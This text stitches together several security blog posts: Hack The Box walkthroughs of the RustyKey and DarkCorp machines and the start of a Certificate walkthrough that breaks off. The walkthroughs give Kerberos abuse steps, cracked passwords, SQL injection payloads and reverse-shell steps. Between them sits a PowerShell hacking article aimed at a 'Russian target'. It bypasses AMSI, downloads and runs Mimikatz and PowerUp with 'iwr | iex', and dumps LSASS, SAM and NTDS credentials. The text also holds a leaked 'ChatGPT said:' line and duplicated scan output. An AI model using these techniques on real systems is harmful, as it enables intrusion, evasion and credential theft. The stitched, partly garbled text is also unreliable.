Introduction to RustyKey:

In this writeup, we will explore the “RustyKey” machine from Hack The Box, categorized as an Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “RustyKey” machine from Hack The Box by achieving the following objectives:

User Flag:

Authenticated to the domain as bb.morgan (password P@ssw0rd123) after exploiting Kerberos flows and time sync. You obtained a Kerberos TGT (bb.morgan.ccache), exported it via KRB5CCNAME, and used evil‑winrm to open an interactive shell on dc.rustykey.htb.

Root Flag:

Escalation to SYSTEM was achieved by abusing machine and delegation privileges. Using the IT‑COMPUTER3$ machine account you modified AD protections and reset ee.reed’s password, then performed S4U2Self/S4U2Proxy to impersonate backupadmin and saved backupadmin.ccache. With that ticket, you used Impacket to upload and run a service payload and spawned a SYSTEM shell.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV 10.10.11.75 -oA initial

nmap -sC -sV 10.10.11.75 -oA initial

Nmap Output:

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-29 13:48:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-29 13:48:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped

Analysis:

• 53/tcp (DNS – Simple DNS Plus): DNS service is running, likely handling domain name resolution for the internal Active Directory environment.
• 88/tcp (Kerberos-sec): Kerberos authentication service for Active Directory domain rustykey.htb0. Useful for ticket-based authentication attacks such as AS-REP roasting or Kerberoasting.
• 135/tcp (MSRPC): Microsoft RPC endpoint mapper. Commonly used for remote management and DCOM-based communication.
• 139/tcp (NetBIOS-SSN): NetBIOS session service — supports SMB over NetBIOS; can reveal shares or host information.
• 389/tcp (LDAP): Lightweight Directory Access Protocol for Active Directory. Likely allows domain information queries; potential for anonymous LDAP enumeration.
• 445/tcp (Microsoft-DS): SMB over TCP for file sharing and remote service operations; often used for lateral movement or enumeration (e.g., SMB shares, users, policies).
• 464/tcp (kpasswd5): Kerberos password change service; might be used for password reset operations.
• 593/tcp (ncacn_http): Microsoft RPC over HTTP — commonly used for Outlook Anywhere and DCOM-based communication.
• 636/tcp (LDAPS): LDAP over SSL/TLS; encrypted directory service communications.
• 3268/tcp (Global Catalog – LDAP): LDAP global catalog port for multi-domain queries in Active Directory.
• 3269/tcp (Global Catalog over SSL): Secure LDAP global catalog service.
  

Server Enumeration:

Before starting, we need to specify the correct Kerberos realm by creating a krb5.conf file in /etc/krb5.conf and adding the following content above

NXC enumeration

The scans show an Active Directory host (dc.rustykey.htb) with SMB and LDAP/kerberos services; SMB on 10.10.11.75 negotiated x64, signing required, and SMBv1 disabled, while an SMB auth attempt for rr.parker returned STATUS_NOT_SUPPORTED — indicating the server rejected the authentication method the client used rather than definitively proving the password is wrong. The LDAP attempt shows KDC_ERR_WRONG_REALM for rustykey.htb\rr.parker, meaning the Kerberos realm in use didn’t match the domain. Likely causes include incorrect credentials, an auth-method mismatch (NTLM vs Kerberos or wrong NTLM dialect), enforced SMB signing, wrong/unspecified Kerberos realm, account restrictions (disabled/locked/password change required), or tool/quoting issues from special characters. Triage by retrying with a domain-qualified username (RUSTYKEY\rr.parker or rr.parker@RUSTYKEY), testing with alternate SMB clients (crackmapexec, smbclient, Impacket), forcing NTLM if needed, validating Kerberos realm and obtaining a TGT, performing LDAP or rpc enumeration to confirm account status, and escaping or simplifying the password to rule out encoding problems.

This time, the error returned is KRB_AP_ERR_SKEW, indicating a time synchronization issue between the client and the server.

Using nxc with Kerberos authentication (-k) and domain rustykey.htb, the SMB service on dc.rustykey.htb was successfully accessed with the credentials rr.parker:8#t5HE8L!W3A. The enumeration revealed an x64 domain controller with SMB signing enabled and SMBv1 disabled. The command listed 11 local users, including Administrator, Guest, krbtgt, rr.parker, mm.turner, bb.morgan, gg.anderson, dd.ali, ee.reed, nn.marcos, and backupadmin, along with their last password set dates and account descriptions. This confirms that rr.parker’s credentials are valid and have sufficient access to query user accounts over SMB. The successful Kerberos-based login also verifies proper realm configuration and time synchronization, allowing secure enumeration of domain users.

Using Kerberos authentication (-k) with the domain rustykey.htb, LDAP enumeration on dc.rustykey.htb successfully authenticated as rr.parker:8#t5HE8L!W3A. The scan enumerated 11 domain users, showing usernames, last password set dates, and account descriptions. Accounts include Administrator, Guest, krbtgt, rr.parker, mm.turner, bb.morgan, gg.anderson, dd.ali, ee.reed, nn.marcos, and backupadmin. This confirms rr.parker’s credentials are valid and have permission to query domain user information over LDAP. The domain controller responded correctly to Kerberos authentication, indicating proper realm configuration and time synchronization.

Impacket successfully requested a TGT from DC 10.10.11.75 for rustykey.htb/rr.parker and saved the Kerberos ticket to rr.parker.ccache.

ChatGPT said:

Set the Kerberos credential cache by exporting KRB5CCNAME=rr.parker.ccache so Kerberos-aware tools use the saved TGT for authentication.

This directs commands like klist, curl –negotiate, and Impacket utilities to the specified ccache.

Bloodhound enumeration

The DNS timeout indicates that the BloodHound collector couldn’t resolve SRV records or reach the domain controller’s DNS. This often happens due to incorrect DNS settings on your Parrot OS machine, firewall restrictions, or reliance on SRV lookups instead of a direct DC IP.

Synchronizing the clock with ntpdate -s 10.10.11.75 resolved the issue. Kerberos authentication requires the client and domain controller clocks to be closely aligned, and a time drift triggers KRB_AP_ERR_SKEW errors. After syncing, the Kerberos TGT became valid, allowing BloodHound to authenticate and enumerate the domain successfully. You can verify the ticket with klist and rerun BloodHound using -k or your ccache. For a persistent solution, consider running a time service like chrony or ntpd, or continue using ntpdate during the engagement.

IT‑COMPUTER3$ added itself to the HelpDesk group.

Execute timeroast.py.

Because the machine requires Kerberos authentication, enumeration attempts return no results. In addition to AS-REP roasting and Kerberoasting, a new technique called timeroast has recently emerged.

The screenshot above shows the hash as clean.

Hashcat was unable to crack the hash.

The main() function sets up and runs the script: it creates an argument parser with two positional inputs (the timeroast hashes file and a password dictionary opened with latin-1 encoding), parses those arguments, then calls try_crack to iterate through dictionary candidates and compare them to the parsed hashes. For each match it prints a “[+] Cracked RID …” line and increments a counter, and when finished it prints a summary of how many passwords were recovered. The if __name__ == '__main__' guard ensures main() runs only when the script is executed directly.

Running python3 timecrack.py timeroast.txt rockyou.txt recovered one credential: RID 1125 — password Rusty88!. Total passwords recovered: 1.

Impacket requested a TGT for the machine account IT-COMPUTER3$ on rustykey.htb and saved the Kerberos ticket to IT-COMPUTER3$.ccache. The Kerberos credential cache was set to IT-COMPUTER3$.ccache by exporting KRB5CCNAME=IT-COMPUTER3\$.ccache, directing Kerberos-aware tools to use this saved TGT for authentication.

Using BloodHound with Kerberos against dc.rustykey.htb (domain rustykey.htb), authenticated as the machine account IT-COMPUTER3$, and ran add groupMember HELPDESK IT-COMPUTER3$ — the account IT-COMPUTER3$ was successfully added to the HELPDESK group.

Using BloodyAD with Kerberos against dc.rustykey.htb (domain rustykey.htb), authenticated as the machine account IT-COMPUTER3$, ran set password for bb.morgan to P@ssw0rd123, and the password was changed successfully.

Impacket attempted to request a TGT for bb.morgan@rustykey.htb, but the KDC rejected it with KDC_ERR_ETYPE_NOSUPP, meaning the Key Distribution Centre does not support the encryption type used.

If you need that permission, remove the protection first — bb.morgan.

Ran BloodyAD with Kerberos against dc.rustykey.htb as IT-COMPUTER3$ to remove the account IT from the PROTECTED OBJECTS group, and the tool reported that IT was removed. Using BloodyAD with Kerberos against dc.rustykey.htb as IT-COMPUTER3$ I changed bb.morgan’s password to P@ssw0rd123. I then requested a TGT for bb.morgan with impacket-getTGT and saved the ticket to bb.morgan.ccache

Set KRB5CCNAME to bb.morgan.ccache so Kerberos-aware tools use that credential cache.

If evil-winrm failed, common causes are WinRM not reachable, wrong auth method, or account restrictions. First check connectivity and service: nc -vz 10.10.11.75 5985 (and 5986). Test the WinRM endpoint with curl to see auth behavior:
curl --negotiate -u 'bb.morgan:P@ssw0rd123' http://10.10.11.75:5985/wsman
If you’re using Kerberos, ensure KRB5CCNAME points to the bb.morgan ccache and run evil-winrm with Kerberos (use the tool’s Kerberos flag). If password auth, try: evil-winrm -i 10.10.11.75 -u bb.morgan -p 'P@ssw0rd123'. If that still fails, try an alternate Impacket client (wmiexec.py, psexec.py) to rule out evil-winrm-specific issues. Also verify the account isn’t restricted (must-change-password, disabled, or requires smartcard) and that SMB/WinRM signing/policy isn’t blocking the session. Tell me the exact error if you want targeted troubleshooting.

After synchronising the system clock with rdate, evil-winrm successfully established a session to dc.rustykey.htb using the bb.morgan account in the rustykey.htb domain.

To view the user flag, run type user.txt at the command prompt.

Escalate to Root Privileges Access

Privilege Escalation:

One PDF file stood out and drew my attention.

Download the PDF to our machine.

The message appears to be from bb.morgan to support-team@rustykey.htb, stating the support team will receive elevated registry permissions and temporary elevated rights.
Reviewing BloodHound shows ee.reed is a member of the support-team@rustykey.htb group.

Using the IT‑COMPUTER3$ machine account you removed SUPPORT from the Protected Objects container and reset ee.reed’s password to P@ssword123 — actions that demonstrate domain‑level privilege to alter AD protections and control user accounts. With ee.reed’s credentials you can obtain a TGT, export a ccache, and authenticate to domain services (SMB/WinRM/LDAP) to escalate access and pivot further.

This indicates that the SUPPORT group has modify permissions on the registry and can interact with compression and decompression functions.

Requested a TGT for ee.reed@rustykey.htb from DC 10.10.11.75 and saved the Kerberos ticket to ee.reed.ccache.

Evil‑winrm failed to establish a session using ee.reed’s access.

Let’s start the listener.

Upload runascs.exe

Attempt to execute the payload.

Access obtained as ee.reed.

Oddly, the victim machine has 7‑Zip installed.

It’s 7‑Zip version 24.08.

The command reg query "HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers" queries the Windows Registry to list all entries under the ContextMenuHandlers key for all file types (*) in the HKEY_LOCAL_MACHINE\Software\Classes hive.

Query the registry key HKEY_LOCAL_MACHINE\Software\Classes\*\ShellEx\ContextMenuHandlers\7-Zip.

Display the registry key HKLM\SOFTWARE\Classes\CLSID{23170F69-40C1-278A-1000-000100020000}.

Query the registry key HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32.

This PowerShell command retrieves and displays the detailed access permissions (ACL) for the 7-Zip COM object CLSID registry key (HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}), showing which users or groups can read, modify, or take ownership of the key in a clear, list format.

Download the DLL file onto the target machine.

Add or update the default value of HKLM\Software\Classes\CLSID{23170F69-40C1-278A-1000-000100020000}\InprocServer32 to C:\tmp\dark.dll using reg add with the force flag.

Executing rundll32.exe dark.dll, dllmain produces no visible effect.

Obtained a shell as the user mm.turner.

It shows that the SUPPORT group has registry modify permissions and can access compression and decompression functionalities.

Initially, this PowerShell command failed to configure the DC computer account to allow delegation to the IT-COMPUTER3$ account by setting the PrincipalsAllowedToDelegateToAccount property.

This PowerShell command configures the DC computer account to allow delegation to the IT-COMPUTER3$ account by setting the PrincipalsAllowedToDelegateToAccount property, effectively granting that machine account the ability to act on behalf of other accounts for specific services.

Ran Impacket getST for SPN cifs/DC.rustykey.htb while impersonating backupadmin (DC 10.10.11.75) using rustykey.htb/IT-COMPUTER3$:Rusty88!. No existing ccache was found so a TGT was requested, the tool performed S4U2Self and S4U2Proxy flows to impersonate backupadmin, and saved the resulting ticket as backupadmin.ccache. Deprecation warnings about UTC handling were also printed.

Export the Kerberos ticket to a ccache file, then use Impacket’s secretdump to extract the account hashes.

Using the backupadmin Kerberos ticket (no password), Impacket connected to dc.rustykey.htb, discovered a writable ADMIN$ share, uploaded rFPLWAqZ.exe, created and started a service named BqCY, and spawned a shell — whoami returned NT AUTHORITY\SYSTEM.

To view the root flag, run type root.txt at the command prompt.

The post Hack The Box: RustyKey Machine Walkthrough – Hard Difficulity appeared first on Threatninja.net.

Introduction to DarkCorp:

In this writeup, we will explore the “DarkCorp” machine from Hack The Box, categorized as an Insane difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “DarkCorp” machine from Hack The Box by achieving the following objectives:

User Flag:

Gained initial foothold via the webmail/contact vector, registered an account, abused the contact form, and executed a payload to spawn a reverse shell. From the shell, read user.txt to capture the user flag.

Root Flag:

Performed post-exploitation and credential harvesting (SQLi → hashes → cracked password thePlague61780, DPAPI master key recovery and Pack_beneath_Solid9! recovered), used recovered credentials and privilege escalation techniques to obtain root, then read root.txt to capture the root flag.

Enumerating the DarkCorp Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.11.54

nmap -sC -sV -oN nmap_initial.txt 10.10.11.54

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/darkcorp]
└──╼ $nmap -sC -sV -oA initial 10.10.11.54 
# Nmap 7.94SVN scan initiated Sun Aug 17 03:07:38 2025 as: nmap -sC -sV -oA initial 10.10.11.54
Nmap scan report for 10.10.11.54
Host is up (0.18s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
|_  256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 17 03:08:04 2025 -- 1 IP address (1 host up) scanned in 25.73 seconds
┌─[dark@parrot]─[~/Documents/htb/darkcorp]
└──╼ $

┌─[dark@parrot]─[~/Documents/htb/darkcorp]
└──╼ $nmap -sC -sV -oA initial 10.10.11.54 
# Nmap 7.94SVN scan initiated Sun Aug 17 03:07:38 2025 as: nmap -sC -sV -oA initial 10.10.11.54
Nmap scan report for 10.10.11.54
Host is up (0.18s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
|_  256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 17 03:08:04 2025 -- 1 IP address (1 host up) scanned in 25.73 seconds
┌─[dark@parrot]─[~/Documents/htb/darkcorp]
└──╼ $

Analysis:

• Port 22 (SSH): OpenSSH 9.2p1 on Debian — secure remote access; check for password authentication or weak credentials.
• Port 80 (HTTP): nginx 1.22.1 — web server serving GET/HEAD only; perform directory and file enumeration for further insights.

Web Enumeration:

Nothing noteworthy was found on the website itself.

A subdomain was discovered that leads to the DripMail Webmail interface.

Register a new account and enter the email

As a next step, proceed to register a new account.

Enter the required information to create the new account.

We successfully created the account, confirming that the DripMail Webmail portal’s registration process works correctly. This indicates that user registration is open; therefore, we can interact with the mail system. Consequently, this may enable further exploration, including login, email sending, and service enumeration.

Check your email inbox

A new email appeared in the inbox from no-reply@drip.htb, indicating that the system had sent an automated message; moreover, it may contain a verification notice, onboarding information, or credential-related details, all of which are worth reviewing for further clues.

However, it turned out to be just a welcome email from no-reply@drip.htb, providing no useful information.

Contact Form Exploitation

The site includes a contact form that attackers could potentially exploit.

We entered a non-deterministic key value into the input.

We sent the message successfully, confirming that the contact form works and accepts submissions.

CVE‑2024‑42009 — Web Enumeration with Burp Suite

Burp shows the contact form submission (POST) carrying the random key and payload, followed by a successful response.

We modified the contact-form recipient field and replayed the POST via Burp Repeater; the server returned 200 OK, and it delivered the message to admin@drip.htb.

We received a request for customer information.

Let’s start our listener

Contact Form Payload

Insert the base64-encoded string into the message.

The Burp Suite trace looks like the following.

A staff member sent an email.

Resetting the password

We need to change the password.

After setting the payload, we received a password reset link.

Let’s change the password as needed

We are provide with a dashboard

SQL injection discovered on dev-a3f1-01.drip.htb.

We accessed the user overview and discovered useful information.

The application is vulnerable to SQL injection.

SQLi Payload for Table Enumeration

The input is an SQL injection payload that closes the current query and injects a new one: it terminates the original statement, runs
SELECT table_name FROM information_schema.tables WHERE table_schema=’public’;
and uses — to comment out the remainder. This enumerates all table names in the public schema; the response (Users, Admins) shows the database exposed those table names, confirming successful SQLi and information disclosure.

The payload closes the current query and injects a new one:
SELECT column_name FROM information_schema.columns WHERE table_name=’Users’;–
which lists all column names for the Users table. The response (id, username, password, email, host_header, ip_address) confirms successful SQLi-driven schema enumeration and reveals sensitive columns (notably password and email) that could enable credential or user-data disclosure.

Obtained password hashes from the Users table (Users.password). These values are opaque; we should determine their type, attempt to crack only with authorisation, and protect them securely.

PostgreSQL File Enumeration

The SQL command SELECT pg_ls_dir('./'); invokes PostgreSQL’s pg_ls_dir() function to list all files and directories in the server process’s current directory (typically the database data or working directory). Because pg_ls_dir() exposes the filesystem view, it can reveal configuration files or other server-side files accessible to the database process — which is why it’s often used during post‑exploitation or SQLi-driven reconnaissance. Importantly, this function requires superuser privileges; therefore, a non‑superuser connection will be denied. Consequently, successful execution implies that the user has elevated database permissions.

The SQL command SELECT pg_read_file('PG_VERSION', 0, 200); calls PostgreSQL’s pg_read_file() to read up to 200 bytes starting at offset 0 from the file PG_VERSION on the database server. PG_VERSION normally contains the PostgreSQL version string, so a successful call discloses the DB version to the attacker — useful for fingerprinting — and typically requires superuser privileges, making its successful execution an indicator of elevated database access and a potential information‑disclosure risk.

Returning down the path, I spotted one; it would impress those who have beaten Cerberus…/../../ssssss

SSSD maintains its own local ticket credential caching mechanism (KCM), managed by the SSSD process. It stores a copy of the valid credential cache, while the corresponding encryption key is stored separately in /var/lib/sss/secrets/secrets.ldb and /var/lib/sss/secrets/.secrets.mkey.

Shell as postgres

Finally, we successfully received a reverse shell connection back to our machine; therefore, this confirmed that the payload executed correctly and established remote access as intended.

Nothing of significance was detected.

Discovered the database username and password.

Restore the Old email

Elevate the current shell to an interactive TTY.

The encrypted PostgreSQL backup dev-dripmail.old.sql.gpg is decrypted using the provided passphrase, and the resulting SQL dump is saved as dev-dripmail.old.sql. Consequently, this allows further inspection or restoration of the database for deeper analysis or recovery.

The output resembles what is shown above.

Found three hashes that can be cracked with Hashcat.

Hash Cracking via hashcat

We successfully recovered the password thePlague61780.

Since Hashcat managed to crack only one hash, we’ll therefore use CrackStation to attempt cracking the remaining two.

Bloodhound enumeration

Update the configuration file.

SSH as ebelford user

Established an SSH session to the machine as ebelforrd.

No binary found

Found two IP addresses and several subdomains on the target machine.

Update the subdomain entries in our /etc/hosts file.

Network Tunnelling and DNS Spoofing with sshuttle and dnschef

Use sshuttle to connect to the server and route traffic (like a VPN / port forwarding).

Additionally, dnschef was used to intercept and spoof DNS traffic during testing.

Gathering Information via Internal Status Monitor

Log in using the victor.r account credentials.

Click the check button to get a response

Replace the saved victor.r login details in Burp Suite.

Testing the suspected host and port for reachability.

Begin the NTLM relay/replay attack.

Leverage socatx64 to perform this activity.

Abuse S4U2Self and Gain a Shell on WEB-01

An LDAP interactive shell session is now running.

Run get_user_groups on svc_acc to list their groups.

Retrieved the SID associated with this action.

Retrieved the administrator.ccache Kerberos ticket.

We can read the user flag by typing “type user.txt” command

Escalate to Root Privileges Access on Darkcorp machine

Privilege Escalation:

Transfer sharpdpapi.exe to the target host.

Attempting to evade Windows Defender in a sanctioned test environment

The output reveals a DPAPI-protected credential blob located at
C:\Users\Administrator\AppData\Local\Microsoft\Credentials\32B2774DF751FF7E28E78AE75C237A1E. It references a master key with GUID {6037d071-...} and shows that the blob is protected using system-level DPAPI (CRYPTPROTECT_SYSTEM), with SHA-512 for hashing and AES-256 for encryption. Since the message indicates MasterKey GUID not in cache, the decryption cannot proceed until the corresponding master key is obtained — either from the user’s masterkey file or by accessing a process currently holding it in memory.

This output shows a DPAPI local credential file at C:\Users\Administrator\AppData\Local\Microsoft\Credentials\ with the filename 32B2774DF751FF7E28E78AE75C237A1E. The system protects it using a DPAPI master key (GUID {6037d071-cac5-481e-9e08-c4296c0a7ff7}), applies SHA-512 for hashing, and uses AES-256 for encryption. Because the master key isn’t currently in the cache, we can’t decrypt the credential blob until we obtain that master key (for example from the masterkey file) or access the process that holds it in memory.

Direct file transfer through evil-winrm was unsuccessful.

Transform the file into base64 format.

We successfully recovered the decrypted key; as noted above, this confirms the prior output and therefore enables further analysis.

Access darkcorp machine via angela.w

Successfully recovered the password Pack_beneath_Solid9!

Retrieval of angela.w’s NT hash failed.

Attempt to gain access to the angela.w account via a different method.

Acquired the hash dump for angela.w.

Save the ticket as angela.w.adm.ccache.

Successful privilege escalation to root.

Retrieved password hashes.

Password reset completed and new password obtained.

Exploiting GPOs with pyGPOAbuse

Enumerated several GPOs in the darkcorp.htb domain; additionally, each entry shows the GPO GUID, display name, SYSVOL path, applied extension GUIDs, version, and the policy areas it controls (registry, EFS policy/recovery, Windows Firewall, security/audit, restricted groups, scheduled tasks). Furthermore, the Default Domain Policy and Default Domain Controllers Policy enforce core domain and DC security — notably, the DC policy has many revisions. Meanwhile, the SecurityUpdates GPO appears to manage scheduled tasks and update enforcement. Therefore, map these SYSVOL files to find promising escalation vectors: for example, check for misconfigured scheduled tasks, review EFS recovery settings for exposed keys, and identify privileged group memberships. Also, correlate GPO versions and recent changes to prioritize likely targets.

BloodHound identifies taylor as GPO manager — pyGPOAbuse is applicable, pending discovery of the GPO ID.

Force a Group Policy update using gpupdate /force.

Display the root flag with type root.txt.

The post Hack The Box: DarkCorp Machine Walkthrough – Insane Difficulity appeared first on Threatninja.net.

Welcome back hackers!

For quite an extensive period of time we have been covering different ways PowerShell can be used by hackers. We learned the basics of reconnaissance, persistence methods, survival techniques, evasion tricks, and mayhem methods. Today we are continuing our study of PowerShell and learning how we can automate it for real hacking tasks such as privilege escalation, AMSI bypass, and dumping credentials. As you can see, PowerShell may be used to exploit systems, although it was never created for this purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that are usually done manually can be automated with the help of the scripts we are going to cover. Let’s start by learning about AMSI.

AMSI Bypass

Repo:

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

AMSI is the Antimalware Scan Interface. It is a Windows feature that sits between script engines like PowerShell or Office macros and whatever antivirus or EDR product is installed on the machine. When a script or a payload is executed, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script-based attacks and malware. Hackers constantly try to find ways to keep malicious content from ever being presented to it, or to change the content so it won’t match detection rules. You will see many articles and tools that claim to bypass AMSI, but soon after they are released, Microsoft patches the vulnerabilities. Since it’s important to be familiar with this attack, let’s test our system and try to patch AMSI.

First we need to check if the Defender is running on a Russian target:

PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”

And it is. If it was off, we would not need any AMSI bypass and could jump straight to our explorations.

Patching AMSI

Next, we start patching AMSI with the help of our script, which you can find at the following link:

https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1

As you know by now, there are a few ways to execute scripts in PowerShell. We will use a basic one for demonstration purposes:

PS > .\shantanukhande-amsi.ps1

If your output matches ours, then AMSI has been successfully patched. From now on, the Defender does not have access to your PowerShell sessions and any kind of scripts can be executed in it without restriction. It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.

Dumping Credentials with Mimikatz

Repo:

http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1

Since you are free to run anything you want, we can execute Mimikatz right in our session. Note that we are using Invoke-Mimikatz.ps1 by g4uss47, and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we do not recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and inspect the results:

PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex  

PS > Invoke-Mimikatz -DumpCreds

Now we have the credentials of brandmanager. If we compromised a more valuable target in the domain, like a server or a database, we could expect domain admin credentials. You will see this quite often.

Privilege Escalation with PowerUp

Privilege escalation is a complex topic. Frequently systems will be misconfigured and people will feel comfortable without realizing that security risks exist. This may allow you to skip privilege escalation altogether and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors of privilege escalation, but among the most common ones are unquoted service paths and insecure file permissions. While insecure file permissions can be easily abused by replacing the legitimate file with a malicious one of the same name, unquoted service paths may require more work for a beginner. That’s why we will cover this attack today with the help of PowerUp. Before we proceed, it’s important to mention that this script has been known to security products for a long time, so be careful.

Finding Vulnerable Services

Unquoted Service Path is a configuration mistake in Windows services where the full path to the service executable contains spaces but is not wrapped in quotation marks. Because Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can be interpreted ambiguously. The system may search for an executable at earlier, shorter segments of that path (for example C:\Program.exe or C:\Program Files\My.exe) before reaching the intended service.exe. A hacker can place their own executable at one of those earlier locations, and the system will run that program instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.

Let’s run PowerUp and find vulnerable services:

PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex  

PS > Get-UnquotedService

Now let’s test the service names and see which one will get us local admin privileges:

PS > Invoke-ServiceAbuse -Name 'Service Name'

If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.

The results can be tested:

PS > net user john

Now we have an admin user on this machine, which can be used for various purposes.

Attacking NTDS and SAM

Repo:

https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper

With enough privileges we can dump NTDS and SAM without having to deal with security products at all, just with the help of native Windows functions. Usually these attacks require multiple commands, as dumping only NTDS or only a SAM hive does not help. For this reason, we have added a new script to our repository. It will automatically identify the type of host you are running it on and dump the needed files. NTDS only exists on Domain Controllers and contains the credentials of all Active Directory users. This file cannot be found on regular machines. Regular machines will instead be exploited by dumping their SAM and SYSTEM hives. The script is not flagged by any AV product. Below you can see how it works.

Attacking SAM on Domain Machines

To avoid issues, bypass the execution policy:

PS > powershell -ep bypass

Then dump SAM and SYSTEM hives:

PS > .\ntds.ps1

Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.

Next we need to exfiltrate these files and extract the credentials:

bash$ > secretsdump.py -sam SAM -system SYSTEM LOCAL

Attacking NTDS on Domain Controllers

If you have already compromised a domain admin, or managed to escalate your privileges on the Domain Controller, you might want to get the credentials of all users in the company.

We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. Evil-WinRM allows you to load all your scripts from the machine so they will be executed without touching the disk. It can also patch AMSI, but be really careful.

Connect to the DC:

c2 > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’

Now you can execute your scripts:

PS > ntds.ps1

Evil-WinRM has a download command that can help you extract the files. After that, run this command:

bash$ > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL

Summary

In this chapter, we explored how PowerShell can be used for privilege escalation and complete domain compromise. We began with bypassing AMSI to clear the way for running offensive scripts without interference, then moved on to credential dumping with Mimikatz. From there, we looked at privilege escalation techniques such as unquoted service paths with PowerUp, followed by dumping NTDS and SAM databases once higher privileges were achieved. Each step builds on the previous one, showing how hackers chain small misconfigurations into full organizational takeover. Defenders should also be familiar with these attacks as it will help them tune the security products. For instance, harmless actions such as creating a shadow copy to dump NTDS and SAM can be spotted if you monitor Event ID 8193 and Event ID 12298. Many activities can be monitored, even benign ones. It depends on where defenders are looking at.

The post PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover first appeared on Hackers Arise.

Introduction to Certificate:

In this write-up, we will explore the “Certificate” machine from Hack The Box, categorized as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Certificate” machine from Hack The Box by achieving the following objectives:

User Flag:

We found a login account (lion.sk) by analyzing network traffic and files, then cracked a captured password hash to get the password. Using that password we remotely logged into the machine as lion.sk and opened the desktop to read the user.txt file, which contained the user flag.

Root Flag:

